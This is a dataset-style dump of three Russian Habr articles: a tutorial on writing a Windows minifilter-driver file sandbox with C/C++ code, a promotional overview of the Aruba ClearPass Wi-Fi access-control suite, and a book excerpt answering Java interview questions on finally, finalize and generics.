source
stringclasses
4 values
title
stringlengths
5
287
keywords
stringlengths
6
1.23k
summary
stringlengths
11
5.12k
content
stringlengths
2
164k
url
stringlengths
33
173
habrahabr
Как написать свою «песочницу»: пример простейшей «песочницы». Часть II
['#sandbox', '#cpp', '#programming', '#windows']
В первой части статьи вы получили краткое представление о драйверах в привилегированном режиме. Настало время покопаться в нашей песочнице. Пример песочницы: сборка и установка...
В первой части статьи вы получили краткое представление о драйверах в привилегированном режиме. Настало время покопаться в нашей песочнице. Пример песочницы: сборка и установка драйвера Ядром нашей песочницы является драйвер мини-фильтр. Вы можете найти его исходный код в src\FSSDK\Kernel\minilt. Я предполагаю, что вы используете комплект WDK 7.x для сборки драйвера. Чтобы сделать это, вы должны запустить соответствующее окружение, скажем, Win 7 х86 checked, и перейти в каталог с исходным кодом. Просто напишите «build /c» в командной строке при запуске в среде разработки и вы получите построенные драйверы. Для установки драйвера достаточно скопировать файл *.inf в папку, содержащую файл *.sys, перейти в этот каталог с помощью проводника и использовать контекстное меню на файле *.inf, где выбрать пункт «Установить», и драйвер будет установлен. Я рекомендую вам проводить все эксперименты внутри виртуальной машины, хорошим выбором станет VMware. Обратите внимание, что 64-битные варианты Windows не будут загружать неподписанные драйверы. Чтобы иметь возможность запускать драйвер в VMware, вы должны включить отладчик привилегированного режима в гостевой ОС. Это может быть сделано посредством выполнения следующих команд в cmd, запущенных от имени администратора: 1. bcdedit /debug on 2. bcdedit /bootdebug on Теперь вы должны назначить именованный канал в качестве последовательного порта для VMware и настройки с помощью WinDBG, установленного на вашей машине. После этого вы сможете подключаться к VMware с дебаггером и отладить свои драйверы. Найти подробную информацию по настройке VMware для отладки драйверов можно в этой статье . Пример песочницы: обзор архитектуры Наша простая песочница состоит из трех модулей: • драйвера привилегированного режима, который реализует примитивы виртуализации; • службы пользовательского режима, которая получает сообщения от драйвера и может изменить поведение файловой системы путем изменения параметров полученных уведомлений от драйвера; • промежуточной библиотеки fsproxy, помогающей службе общаться с драйвером. Давайте начнем рассмотрение нашей простейшей песочницы с драйвера в привилегированном режиме. Пример песочницы: пишем драйвер В то время как обычные приложения, как правило, начинают свое выполнение в WinMain(), драйверы делают это с функции DriverEntry(). Давайте начнем изучение драйвера с этой функции. NTSTATUS DriverEntry ( __in PDRIVER_OBJECT DriverObject, __in PUNICODE_STRING RegistryPath ) { OBJECT_ATTRIBUTES oa; UNICODE_STRING uniString; PSECURITY_DESCRIPTOR sd; NTSTATUS status; UNREFERENCED_PARAMETER( RegistryPath ); ProcessNameOffset = GetProcessNameOffset(); DbgPrint("Loading driver"); // // Зарегистрироваться через менеджер фильтров // status = FltRegisterFilter( DriverObject, &FilterRegistration, &MfltData.Filter ); if (!NT_SUCCESS( status )) { DbgPrint("RegisterFilter failure 0x%x \n",status); return status; } // // Создать порт связи. // RtlInitUnicodeString( &uniString, ScannerPortName ); // // Мы защищаем порт, так чтобы только администратор и система имели к нему доступ. // status = FltBuildDefaultSecurityDescriptor( &sd, FLT_PORT_ALL_ACCESS ); if (NT_SUCCESS( status )) { InitializeObjectAttributes( &oa, &uniString, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd ); status = FltCreateCommunicationPort( MfltData.Filter, &MfltData.ServerPort, &oa, NULL, FSPortConnect, FSPortDisconnect, NULL, 1 ); // // Освобождаем дескриптор безопасности во всех случаях. Он не нужен // после того, как вызвана FltCreateCommunicationPort() // FltFreeSecurityDescriptor( sd ); regCookie.QuadPart = 0; if (NT_SUCCESS( status )) { // // Начинаем фильтрацию запросов ввода-вывода. // DbgPrint(" Starting Filtering \n"); status = FltStartFiltering( MfltData.Filter ); if (NT_SUCCESS(status)) { status = PsSetCreateProcessNotifyRoutine(CreateProcessNotify,FALSE); if (NT_SUCCESS(status)) { DbgPrint(" All done! \n"); return STATUS_SUCCESS; } } DbgPrint(" Something went wrong \n"); FltCloseCommunicationPort( MfltData.ServerPort ); } } FltUnregisterFilter( MfltData.Filter ); return status; } DriverEntry имеет несколько ключевых особенностей. Во-первых, эта функция регистрирует драйвер как minifler функцией FltRegisterFilter(): status = FltRegisterFilter( DriverObject, &FilterRegistration, &MfltData.Filter ); Он представляет собой массив указателей для обработчиков определенных операций, которые хочет перехватывать в FilterRegistration, и получает экземпляр фильтра в MfltData.Filter в случае успешной регистрации. FilterRegistration объявляется следующим образом: const FLT_REGISTRATION FilterRegistration = { sizeof( FLT_REGISTRATION ), // Размер FLT_REGISTRATION_VERSION, // Версия 0, // Маркеры NULL, // Регистрация контекста Callbacks, // обработчики DriverUnload, // выгрузка фильтра FSInstanceSetup, // Установка экземпляра фильтра FSQueryTeardown, // Запрос на деинсталляцию экземпляра NULL, NULL, FSGenerateFileNameCallback, // Создание имени файла FSNormalizeNameComponentCallback, // Нормализация компонента имени NULL, // Нормализация очистки контекста #if FLT_MGR_LONGHORN NULL, // Оповещение о транзакциях FSNormalizeNameComponentExCallback, // Нормализация только компонента имени #endif // FLT_MGR_LONGHORN }; Как видите, структура содержит указатель на массив обработчиков событий (Callbacks). Это – аналог диспетчерских процедур в «устаревших» драйверах. Кроме того, эта структура содержит указатели на некоторые другие вспомогательные функции – их мы опишем позже. Сейчас остановимся на обработчиках, описанных в массиве Callbacks. Они определяются следующим образом: const FLT_OPERATION_REGISTRATION Callbacks[] = { { IRP_MJ_CREATE, 0, FSPreCreate, NULL }, { IRP_MJ_CLEANUP, 0, FSPreCleanup, NULL}, { IRP_MJ_OPERATION_END} }; Вы можете посмотреть подробное описание структуры FLT_OPERATION_REGISTRATION в MSDN. Наш драйвер регистрирует только два обработчика – FSPreCreate, который будет вызываться каждый раз, когда получен запрос IRP_MJ_CREATE, и FSPreCleanup, который, в свою очередь, будет вызываться каждый раз, когда получен IRP_MJ_CLEANUP. Этот запрос поступит, когда закроется последний дескриптор файла. Мы можем (и будем) изменять входные параметры и отправим измененный запрос вниз по стеку, так что нижние фильтры и драйвер файловой системы будут получать измененный запрос. Мы могли бы зарегистрировать так называемые пост-уведомления, приходящие по завершению операции. Для этого нулевой указатель, который следует за указателем на FSPreCreate, может быть заменен указателем на соответствующий пост-обработчик. Мы должны завершить наш массив элементом IRP_MJ_OPERATION_END. Это «поддельная» операция, знаменующая собой конец массива обработчиков событий. Обратите внимание, что мы не должны предоставлять обработчик для каждой операции IRP_MJ_XXX, как нам пришлось бы сделать для «традиционных» драйверов-фильтров. Вторая важная вещь, которую выполняет наш DriverEntry() – это создание порта мини-фильтров. Он используется для отправки уведомлений из службы уровня пользователя и получает ответы от него. Делается это с помощью операции FltCreateCommunicationPort(): status = FltCreateCommunicationPort( MfltData.Filter, &MfltData.ServerPort, &oa, NULL, FSPortConnect, FSPortDisconnect, NULL, 1 ); Указатели на функции FSPortConnect() и FSPortDisconnect() возникают соответственно при подключении и отключении службы пользовательского режима от драйвера. И последнее, что нужно сделать – это запустить фильтрацию: status = FltStartFiltering( MfltData.Filter ); Обратите внимание, что указатель на экземпляр фильтра, возвращенный FltRegisterFilter(), передается в эту процедуру. С этого момента мы начнем получать уведомления о запросах IRP_MJ_CREATE & IRP_MJ_CLEANUP. Вместе с уведомлениями о фильтрации файлов также просим ОС сообщить нам, когда новый процесс загружается и выгружается с помощью этой функции: PsSetCreateProcessNotifyRoutine(CreateProcessNotify,FALSE); CreateProcessNotify – это наш обработчик уведомлений о создании и завершении процесса. Пример песочницы: обработчик FSPreCreate Настоящая магия рождается здесь. Суть данной функции заключается в том, чтобы сообщить, какой файл открыт и каким процессом было инициировано открытие. Эти данные отправляются в службу пользовательского режима. Служба (сервис) предоставляет ответ в виде команды либо о запрете доступа к файлу, либо о перенаправлении запроса на другой файл (именно так на самом деле работает песочница), либо о разрешении на выполнение операции. Первое, что происходит в данном случае – проверка соединения со службой пользовательского режима через порт связи (коммуникационный порт), который мы создали в DriverEntry(), и, в случае отсутствия соединения, никакого дальнейшего действия не произойдет. Мы также проверяем, является ли служба (сервис) источником (инициатором) запроса – мы делаем это путем проверки поля UserProcess глобально выделенной структуры MfltData. Это поле заполняется в подпрограмме PortConnect(), которая вызывается, когда служба (сервис) пользовательского режима подключается к порту. Также мы не хотим иметь дело с запросами, связанными с подкачкой страниц. Во всех этих случаях мы возвращаем код возврата FLT_PREOP_SUCCESS_NO_CALLBACK, означающий, что мы завершили обработку запроса и у нас нет постоперационного обработчика. В противном случае, мы вернем FLT_PREOP_SUCCESS_WITH_CALLBACK. Если бы это был «традиционный» драйвер-фильтр, то нам бы пришлось иметь дело с кадрами стека, о которых я упоминал ранее, процедурой IoCallDriver и т.д. В случае мини-фильтров передача запроса довольно проста. Если мы хотим обработать запрос, то первое, что нам необходимо сделать, это заполнить структуру, которую мы хотим передать в пользовательский режим – MINFILTER_NOTIFICATION. Она полностью кастомизируема. Мы передаем тип операции (CREATE), имя файла, над которым выполнялся запрос, идентификационный номер (PID) процесса и имя исходного процесса. Стоит обратить внимание на то, как мы выясняем имя процесса. На самом деле, это недокументированный способ получения имени процесса, который не рекомендуют использовать в коммерческом программном обеспечении. Более того, это не работает с x64-версиями Windows. В коммерческом ПО вы передадите только ID (идентификационный номер) процесса в пользовательский режим, и если вам нужно исполняемое имя, вы можете получить его с помощью API пользовательского режима. Вы, к примеру, можете использовать API OpenProcess(), чтобы открыть процесс по его ID и затем вызвать API GetProcessImageFileName(), чтобы получить имя исполняемого файла. Но чтобы упростить нашу песочницу, мы получаем имя процесса из недокументированного поля структуры PEPROCESS. Чтобы выяснить смещение имени (относительный адрес), мы учитываем, что в системе есть процесс под названием «SYSTEM». Мы сканируем процесс, содержащий данное имя в структуре PEPROCESS, затем используем обнаруженное смещение имени при анализе какого-либо другого процесса. Для получения более подробной информации – см. функцию SetProcessName(). Мы получаем имя файла из «целевого» файла, для которого был получен запрос (например, запрос об открытии файла) с помощью двух функций – FltGetFileNameInformation() и FltParseFileNameInformation(). После заполнения структуры MINFILTER_NOTIFICATION мы отправляем ее в пользовательский режим: Status = FltSendMessage( MfltData.Filter, &MfltData.ClientPort, notification, sizeof(MINFILTER_NOTIFICATION), &reply, &replyLength, NULL ); И получаем ответ в переменной reply. Если нас просят отменить операцию, то действие простое: if (!reply.bAllow) { Data->IoStatus.Status = STATUS_ACCESS_DENIED; Data->IoStatus.Information = 0; return FLT_PREOP_COMPLETE; } Ключевыми моментами здесь являются следующие: во-первых, мы меняем код возврата, возвращая FLT_PREOP_COMPLETE. Это значит, что мы не будем передавать запрос вниз по стеку драйверов, как, например, мы сделали бы при вызове IoCompleteRequest() из «традиционного» драйвера без вызова IoCallDriver(). Во-вторых, мы заполняем поле IoStatus в структуре запроса. Устанавливаем код ошибки STATUS_ACCESS_DENIED и поле Information «в ноль». Как правило, в поле Information записывается количество байтов, переданных во время операции, например, при операции копирования записывается количество скопированных байтов. Если мы хотим перенаправить операцию, то выглядит это по-другому: if (reply.bSupersedeFile) { // извлечь имя тома // возможный формат файла: \Device\HardDiskVolume1\Windows\File, // или \DosDevices\C:\Windows\File OR \??\C:\Windows\File или C:\Windows\File RtlZeroMemory(wszTemp,MAX_STRING*sizeof(WCHAR)); // \Device\HardDiskvol\file или \DosDevice\C:\file int endIndex = 0; int nSlash = 0; // количество найденных слешей int len = wcslen(reply.wsFileName); while (nSlash < 3 ) { if (endIndex == len ) break; if (reply.wsFileName[endIndex]==L'\\') nSlash++; endIndex++; } endIndex--; if (nSlash != 3) return FLT_PREOP_SUCCESS_NO_CALLBACK; // ошибка в имени файла WCHAR savedch = reply.wsFileName[endIndex]; reply.wsFileName[endIndex] = UNICODE_NULL; RtlInitUnicodeString(&uniFileName,reply.wsFileName); HANDLE h; PFILE_OBJECT pFileObject; reply.wsFileName[endIndex] = savedch; NTSTATUS Status = RtlStringCchCopyW(wszTemp,MAX_STRING,reply.wsFileName + endIndex ); RtlInitUnicodeString(&uniFileName,wszTemp); Status = IoReplaceFileObjectName(Data->Iopb->TargetFileObject, reply.wsFileName, wcslen(reply.wsFileName)*sizeof(wchar_t)); Data->IoStatus.Status = STATUS_REPARSE; Data->IoStatus.Information = IO_REPARSE; FltSetCallbackDataDirty(Data); return FLT_PREOP_COMPLETE; } Ключевым здесь является вызов IoReplaceFileObjectName Status = IoReplaceFileObjectName(Data->Iopb->TargetFileObject, reply.wsFileName, wcslen(reply.wsFileName)*sizeof(wchar_t)); Данная функция изменяет имя файла переданного файлового объекта (FILE_OBJECT) – объекта диспетчера ввода-вывода, который представляет собой открытый файл. Вручную имя заменяется следующим образом: освободив память с полем, содержащим имя, мы выделяем буфер и копируем новое имя туда. Но с момента появления функции IoReplaceFileObjectName в Windows 7, её настоятельно рекомендуют использовать вместо буфера. В личном проекте автора (продукт Cybergenic Shade Sandbox), который совместим со всеми операционными системами – от XP до Windows 10, я как раз вожусь с буферами вручную, если драйвер работает на устаревших ОС (до Win 7). После того, как имя файла изменено, мы заполняем данные специальным статусом STATUS_REPARSE, а поле Information заполняем значением IO_REPARSE. Дальше мы возвращаем статус FLT_PREOP_COMPLETE. REPARSE означает, что мы хотим, чтобы диспетчер ввода-вывода перезапустил исходный запрос (с новыми параметрами), как в случае, когда приложение (инициатор запроса) первоначально запросило бы открыть файл с новым именем. Также мы должны вызвать FltSetCallbackDataDirty() – эта API-функция нужна каждый раз, когда мы меняем структуру данных, кроме тех случаев, когда мы также меняем IoStatus. На самом деле, мы действительно здесь меняем IoStatus, поэтому вызываем данную функцию, чтобы убедиться в том, что уведомили диспетчера ввода-вывода об этих изменениях. Пример песочницы: провайдеры имен Поскольку мы изменяем имена файлов, наш драйвер должен содержать реализацию обработчиков провайдера имен, вызываемые при запрашивании имени файла или когда имя файла «нормализуется». Этими обработчиками являются FSGenerateFileNameCallback и FSNormalizeNameComponentCallback(Ex). Наш метод виртуализации основан на «перезапуске» запроса IRP_MJ_CREATE (мы делаем вид, что виртуализированные имена – REPARSE_POINTS), и реализация этих обработчиков является достаточно простым делом, которое подробно описано здесь . Служба пользовательского режима Режим пользователя находится в проекте filewall (см. исходный код к статье) и общается с драйвером. Ключевая функциональность представляется следующей функцией: bool CService::FS_Emulate( MINFILTER_NOTIFICATION* pNotification, MINFILTER_REPLY* pReply, const CRule& rule) { using namespace std; // сформировать новый путь // проверить, существует ли путь, если нет - создать/копировать if(IsSandboxedFile(ToDos(pNotificationwsFileName).c_str(),rule.SandBoxRoot)) { pReply->bSupersedeFile = FALSE; pReply->bAllow = TRUE; return true; } wchar_t* originalPath = pNotification->wsFileName; // неуправляемый код int iLen = GetNativeDeviceNameLen(originalPath); wstring relativePath; for (int i = iLen ; i < wcslen(originalPath); i++) relativePath += originalPath[i]; wstring substitutedPath = ToNative(rule.SandBoxRoot) + relativePath; if (PathFileExists(ToDos(originalPath).c_str())) { if (PathIsDirectory(ToDos(originalPath).c_str()) ) { // пустая директория – создаем ее в песочнице CreateComplexDirectory(ToDos(substitutedPath).c_str() ); } else { // полное имя файла – создать копию файла в песочнице (sandbox), если ее еще нет wstring path = ToDos(substitutedPath); wchar_t* pFileName = PathFindFileName(path.c_str()); int iFilePos = pFileName - path.c_str(); wstring Dir; for (int i = 0; i< iFilePos-1; i++) Dir = Dir + path[i]; CreateComplexDirectory(ToDos(Dir).c_str()); CopyFile(ToDos(originalPath).c_str(),path.c_str(),TRUE); } } else { // нет такого файла, но родительский каталог создать надо, если его нет wstring path = ToDos(substitutedPath); wchar_t* pFileName = PathFindFileName(path.c_str()); int iFilePos = pFileName - path.c_str(); wstring Dir; for (int i = 0; i< iFilePos-1; i++) Dir = Dir + path[i]; CreateComplexDirectory(ToDos(Dir).c_str()); } wcscpy(pReply->wsFileName,substitutedPath.c_str()); pReply->bSupersedeFile = TRUE; pReply->bAllow = TRUE; return true; } Она вызывается, когда драйвер решает перенаправить имя файла. Алгоритм здесь очень простой: если файл, помещенный в песочницу, уже существует, то запрос просто перенаправляется, заполняя переменную pReply новым именем файла – именем в папке песочницы. Если такой файл не существует, то копируется исходный файл и только после этого изменяется исходный запрос, чтобы указать на новый скопированный файл. Как служба узнает, что запрос необходимо перенаправить для конкретного процесса? Это делается с помощью правил – см. реализацию класса CRule. Правила (обычно единственное правило в нашей демо-службе) загружаются функцией LoadRules(). bool CService::LoadRules() { CRule rule; ZeroMemory(&rule, sizeof(rule)); rule.dwAction = emulate; wcscpy(rule.ImageName,L"cmd.exe"); rule.GenericNotification.iComponent = COM_FILE; rule.GenericNotification.Operation = CREATE; wcscpy(rule.GenericNotification.wsFileName,L"\\Device\\Harddisk*\\*.txt"); wcscpy(rule.SandBoxRoot,L"C:\\Sandbox"); GetRuleManager()->AddRule(rule); return true; } Эта функция создает правило для процесса (или процессов) под названием «cmd.exe» и перенаправляет в песочницу все операции с файлами *.txt. Если вы запустите cmd.exe на ПК, где запущена наша служба, она изолирует ваши операции в песочницу. Например, вы можете создать txt-файл из cmd.exe, скажем, запустив команду «dir > files.txt», files.txt будет создан в C:/sandbox//files.txt, где – текущий каталог для cmd.exe. Если вы добавите уже существующий файл из cmd.exe, вы получите две его копии – неизменённую версию в исходной файловой системе и измененную в C:/Sandbox. Заключение В этой статье мы разобрали основные аспекты создания песочницы. Однако некоторые детали и проблемы остались незатронутыми. Например, нельзя управлять правилами из пользовательского режима, так как это существенно замедляет работу ПК. Данный подход является достаточно простым в плане реализации и возможен для использования в учебных целях, но ни в коем случае не должен использоваться в коммерческом ПО. Еще одно ограничение – это структура уведомлений/ответов с предварительно определёнными буферами для файловых имен. Эти буферы имеют два недостатка: во-первых, их размер ограничен и некоторые файлы, находящиеся глубоко в файловой системе, будут обрабатываться неправильно. Во-вторых, существенная часть памяти режима ядра, выделенная под имя файла, в большинстве случаев не используется. Таким образом, следует применять более разумную стратегию выделения памяти в коммерческом ПО. И еще один недостаток – повсеместное использование функции FltSendMessage(), которая является довольно медленной. Ее следует применять исключительно тогда, когда приложение пользовательского режима должно показать пользователю запрос, а пользователь – разрешить или отклонить операцию. В этом случае данную функцию использовать можно, так как взаимодействие с человеком гораздо медленнее, чем выполнение какого-либо кода. Но если программа реагирует автоматически, вы должны избегать чрезмерного взаимодействия с кодом пользовательского режима. Ссылки на источники » Оригинальная статья » Исходный код рассматриваемой песочницы
https://habrahabr.ru/company/infowatch/blog/318026/
habrahabr
Властелин Wi-Fi: Aruba ClearPass
['беспроводные сети', 'беспроводные технологии', 'wi-fi', 'безопасность', 'wireless', 'aruba networks']
Сегодня, в условиях динамичного развития отрасли ИТ, все больший вес набирают беспроводные технологии доступа к информации. Так, в корпоративном сегменте прочно обосновались сети стандарта IEEE...
Сегодня, в условиях динамичного развития отрасли ИТ, все больший вес набирают беспроводные технологии доступа к информации. Так, в корпоративном сегменте прочно обосновались сети стандарта IEEE 802.11, или просто Wi-Fi. Упростить построение корпоративной беспроводной сети позволит решение Aruba ClearPass. В современном мегаполисе трудно найти место, где бы отсутствовало покрытие Wi-Fi. В некоторых городах, беспроводные сети покрывают целый город. Последнее поколение стандарта 802.11ac позволяет достигать скоростей более 1 Гбит/с – таким образом, беспроводные сети сделали заявку на замену собой классических кабельных. Тенденцию подметили и производители популярных гаджетов, и порой самые популярные модели, например. Microsoft Surface или Apple MacBook Air, не имеют встроенного кабельного сетевого порта. Многие производители сетевого оборудования предлагают собственные беспроводные решения, и благодаря этому базовые функции сети Wi-Fi можно реализовать в рамках достаточно скромного бюджета. Но прогресс не стоит на месте, и базовых функций беспроводных сетей для современного корпоративного сегмента уже не достаточно. Такие тенденции, как BYOD, контроль гостевого доступа, расширенная аутентификация, контроль приложений, защита Next Generation Firewall, а также предотвращение и выявление попыток взлома через беспроводную сеть заставляют заказчиков более тщательно подходить к выбору производителя беспроводных решений, а сложность реализации и обслуживания некоторых программно аппаратных комплексов сужает выбор еще больше. А что же Gartner? Чтобы понять, кто же на сегодняшний день в лидерах в сфере разработки решений для построения беспроводных сетей, обратимся к квадранту Гартнера. Согласно последнему отчету, выбор совсем не велик. Ведущее положение в сегменте беспроводных решений занимает компания с длинным названием Aruba a Hewlett Packard Enterprise company . В лидеры эта компания попала по целому ряду причин, с которыми можно ознакомиться в аудиторском отчете Gartner. Но главное, что стоит отметить, что основными причинами являются легкость реализации решения, последующего обслуживания и управления расширенным функционалом сетей Wi-FI на оборудовании этого производителя. Как все устроено Архитектура беспроводной сети от Aruba достаточно проста. Аппаратно сама сеть реализуется точками доступа Aruba AP, а расширенный функционал достигается благодаря решению Aruba ClearPass. При этом вовсе не обязательно в качестве основы сети брать точки доступа Aruba AP, поскольку поддерживаются точки доступа и сторонних производителей, что позволяет вам имплементировать решение в существующую архитектуру. ClearPass не требует инсталляции и поставляется как готовая виртуальная машина под все популярные гипервизоры, хотя опционально систему можно приобрести как готовое решение вместе с сервером. В качестве пользовательского интерфейса выступает любой современный веб-браузер, поддерживающий HTML5. Для удобства пользователей решение разделено на четыре функциональных модуля • ClearPass Policy Manager; • ClearPass Onboard; • ClearPass OnGuard; • ClearPass Guest. Далее рассмотрим каждый модуль более подробно. ClearPass Policy Manager позволяет создавать политики доступа на основе ролей или устройств вне зависимости от того, проводная это сеть, беспроводная инфраструктура (WiFi) или VPN. Policy Manager упрощает и автоматизирует настройку устройств, создание профилей, проверку на соответствие политикам безопасности. Он также поддерживает возможность эмуляции и мониторинга созданной политики для проверки работоспособности и корректности настроек. Модуль обеспечивает полную поддержку технологий NAC (Network Access Control), NAP (Network Access Protection и TNC (Trusted Network Connect). Для этого в ClearPass Policy Manager реализованы встроенные сервисы RADIUS, TACACS+, CA, MDM, SSO. Интерфейс модуля ClearPass Policy Manager Модуль предназначен для помощи администратору информационной сети компании в поддержании соответствия текущего состояния сети объявленным в компании политикам безопасности, для подключения сетевых устройств и автоматического исправления несоответствий. ClearPass Onboard является частью Policy Manager и представляет собой модуль, автоматизирующий подключение устройств, работающих под управлением Windows, Mac OS X, iOS и Android. После подключения к сети обеспечивает автоматическую проверку устройства на соответствие всем политикам безопасности и их соблюдение. Интерфейс модуля Aruba ClearPass Onboard Этот инструмент позволяет реализовать в компьютерной сети компании концепцию BYOD. ClearPass OnGuard – программный агент, позволяющий обеспечить глубокую проверку устройства, подключающегося к сети, и в тоже время выполнить требования по безопасности, например, проверить наличие и версию антивируса, заблокировать установленные Pear-to-Pear агенты, использование внешних накопителей или подключений к сторонним сетям и т. д. Также автоматически выдает рекомендации по соблюдению корпоративных политик безопасности в случае негативного результата проверки. Интерфейс настройки агента ClearPass OnGuard Основное назначение этого модуля – блокировка или ограничение доступа к корпоративной или гостевой сети копании устройствам или пользователям, нарушающим политики безопасности. Пример блокировки доступа в сеть из-за нарушения политики использования USB-накопителей ClearPass Guest позволяет автоматизировать процесс получения гостевого доступа и в тоже время обеспечить безопасность корпоративной сети. В зависимости от политик, пользователь может получить временный доступ только в определенное время и в определенном месте. Автоматически создает и удаляет уникальные для каждого пользователя гостевые имя и пароль, доставляет имя и пароль по электронной почте или SMS. Это масштабируемое решение для поддержки десятков тысяч подключений без участия ИТ-персонала включает в себя адаптивный Captive портал и возможность привязки к платежным системам. Является просто незаменимой системой для Wi-Fi сетей гостиниц, университетов и торговых площадок. Интерфейс настройки модуля ClearPass Guest Пример гостевой страницы доступа в сеть предприятия Стоит отметить, что разделение Aruba ClearPass на модули достаточно условное и больше связано с политикой лицензирования. Все модули работают как единое решение, позволяющее сравнительно просто через интуитивно понятный веб-интерфейс реализовать расширенные сервисы информационной сети предприятия. По вопросам обращаться: aruba@muk.ua.
https://habrahabr.ru/company/muk/blog/318028/
habrahabr
Занимательные задачки и отрывок из книги «Карьера программиста»
['книги']
Привет, Хаброжители! Ранее мы уже анонсировали книгу «Карьера программиста. 6-е издание" Гейлы Лакман Макдауэллы в этом посте. Теперь мы получили электронные права на эту книгу, а значит...
Привет, Хаброжители! Ранее мы уже анонсировали книгу «Карьера программиста. 6-е издание" Гейлы Лакман Макдауэллы в этом посте . Теперь мы получили электронные права на эту книгу, а значит можем поделиться главой «Java» и предложить решить задачки: 1. Разработайте алгоритм для поиска наименьших К чисел в массиве. 2. Напишите функцию суммирования двух чисел без использования "+" или любых других арифметических операторов. 3. Для двух квадратов на плоскости найдите линию, которая делит эти два квадрата пополам. Предполагается, что верхняя и нижняя стороны квадрата проходят параллельно оси x. Тем, кто предложит аргументированные решения — мы, с удовольствием, отправим электронную книгу в качестве подарка. Глава Java 13.1. Как повлияет на наследование объявление конструктора приватным? РЕШЕНИЕ Объявление конструктора класса A со спецификатором private гарантирует, что конструктор будет доступен только для того, для кого доступны приватные методы A. Кто еще, кроме A, может обращаться к приватным методам и конструкторам A? Внутренние классы A. Кроме того, если A содержит внутренний класс Q, то и внутренние классы Q тоже смогут к ним обращаться. Все это напрямую отражается на наследовании, потому что субкласс вызывает конструктор своего родителя. Класс A может использоваться для наследования, но только внутренними классами (его собственными или родительскими). 13.2. Будет ли выполняться блок finally (в коде Java), если оператор return находится внутри try-блока (конструкция try-catch-finally)? РЕШЕНИЕ Да, будет. Блок finally выполняется при выходе из блока try. Даже при попытке принудительного выхода из блока try (командой return, continue, break или еще каким-либо образом), блок finally все равно будет выполнен. Блок finally не выполняется только в экстренных случаях, например: ‰‰- виртуальная машина прекратила свою работу во время выполнения блока try/catch; ‰‰- поток, который выполнял блок try/catch, был уничтожен. 13.3. В чем разница между final, finally и finalize? РЕШЕНИЕ Несмотря на похожие названия, final, finally и finalize имеют разные предназначения. final управляет «изменяемостью» переменной, метода или класса. finally используется в конструкции try/catch, чтобы гарантировать выполнение сегмента кода. Метод finalize() вызывается сборщиком мусора, как только последний решает, что ссылок больше не существует. Ниже эти ключевые слова рассматриваются более подробно. final Назначение команды final может меняться в зависимости от контекста: ‰‰- С переменной (примитив): значение переменной не может изменяться. ‰‰- С переменной (ссылка): переменная не может указывать ни на какой другой объект в куче. ‰‰- С методом: метод не может переопределяться. ‰‰- С классом: класс не может субклассироваться. finally Необязательный блок finally может располагаться после блоков try или catch. Команды, находящиеся в блоке finally, выполняются всегда (исключение — завершение работы виртуальной машины Java в блоке try). Блок finally предназначен для выполнения завершающих действий, то есть «зачистки». Он выполняется после блоков try и catch, но до возврата управления к исходной точке. Следующий пример показывает, как это делается: 1 public static String lem() { 2 System.out.println("lem"); 3 return "return from lem"; 4 } 5 6 public static String foo() { 7 int x = 0; 8 int y = 5; 9 try { 10 System.out.println("start try"); 11 int b = y / x; 12 System.out.println("end try"); 13 return "returned from try"; 14 } catch (Exception ex) { 15 System.out.println("catch"); 16 return lem() + " | returned from catch"; 17 } finally { 18 System.out.println("finally"); 19 } 20 } 21 22 public static void bar() { 23 System.out.println("start bar"); 24 String v = foo(); 25 System.out.println(v); 26 System.out.println("end bar"); 27 } 28 29 public static void main(String[] args) { 30 bar(); 31 } Результат выполнения этого кода выглядит так: 1 start bar 2 start try 3 catch 4 lem 5 finally 6 return from lem | returned from catch 7 end bar Присмотритесь к строкам 3–5. Блок catch отрабатывает полностью (включая вызов функции в команде return), затем выполняется блок finally, и только после этого функция возвращает управление. finalize() Метод finalize() вызывается сборщиком мусора непосредственно перед уничтожением объекта. Таким образом, класс может переопределить метод finalize() из класса Object для реализации нестандартного поведения в процессе уборки мусора. 1 protected void finalize() throws Throwable { 2 /* Закрыть открытые файлы, освободить ресурсы и т. д. */ 3 } 13.4. Объясните разницу между шаблонами C++ и обобщениями (generics) в языке Java. РЕШЕНИЕ Многие программисты полагают, что шаблон и обобщения — это одно и то же: ведь в обоих случаях можно использовать конструкции вида List. Но то, как и почему каждый из языков достигает нужного эффекта, существенно различается. Обобщения Java происходят от идеи «стирания типа». Этот метод устраняет параметризацию типов при преобразовании исходного кода в байт-код JVM. Допустим, имеется следующий Java-код: 1 Vector<String> vector = new Vector<String>(); 2 vector.add(new String("hello")); 3 String str = vector.get(0); Во время компиляции он будет преобразован к виду: 1 Vector vector = new Vector(); 2 vector.add(new String("hello")); 3 String str = (String) vector.get(0); Использование обобщений Java практически не повлияло на функциональность, но сделало код более красивым. Поэтому обобщения Java часто называют «синтаксическим украшением». С шаблонами C++ дело обстоит совершенно иначе. Шаблоны в C++ по сути представляют собой набор макросов, создающих новую копию шаблонного кода для каждого типа. Это убедительно доказывает тот факт, что экземпляр MyClass не будет использовать статическую переменную совместно с экземпляром MyClass. С другой стороны, два экземпляра MyClass будут совместно использовать статическую переменную. Чтобы проиллюстрировать этот пример, рассмотрим следующий код: 1 /*** MyClass.h ***/ 2 template<class T> class MyClass { 3 public: 4 static int val; 5 MyClass(int v) { val = v; } 6 }; 7 8 /*** MyClass.cpp ***/ 9 template<typename T> 10 int MyClass<T>::bar; 11 12 template class MyClass<Foo>; 13 template class MyClass<Bar>; 14 15 /*** main.cpp ***/ 16 MyClass<Foo> * foo1 = new MyClass<Foo>(10); 17 MyClass<Foo> * foo2 = new MyClass<Foo>(15); 18 MyClass<Bar> * bar1 = new MyClass<Bar>(20); 19 MyClass<Bar> * bar2 = new MyClass<Bar>(35); 20 21 int f1 = foo1->val; // будет равно 15 22 int f2 = foo2->val; // будет равно 15 23 int b1 = bar1->val; // будет равно 35 24 int b2 = bar2->val; // будет равно 35 В Java статические переменные совместно используются экземплярами MyClass независимо от параметров-типов. У обобщений Java и шаблонов C++ есть и другие отличия: — Шаблоны С++ могут использовать примитивные типы (например, int). Для обобщений Java это невозможно, они обязаны использовать Integer. ‰‰- Java позволяет ограничить параметры обобщения определенным типом. Например, вы можете использовать обобщения для реализации CardDeck и указать, что параметр-тип должен расширять CardGame. ‰‰- В C++ можно создать экземпляр параметра-типа, в Java такая возможность отсутствует. ‰‰- В Java параметр-тип (Foo в MyClass) не может использоваться для статических методов и переменных, так как это привело бы к их совместному использованию MyClass и MyClass. В C++ это разные классы, поэтому параметр-тип может использоваться для статических методов и переменных. ‰‰- В Java все экземпляры MyClass независимо от их типизированных параметров относятся к одному и тому же типу. 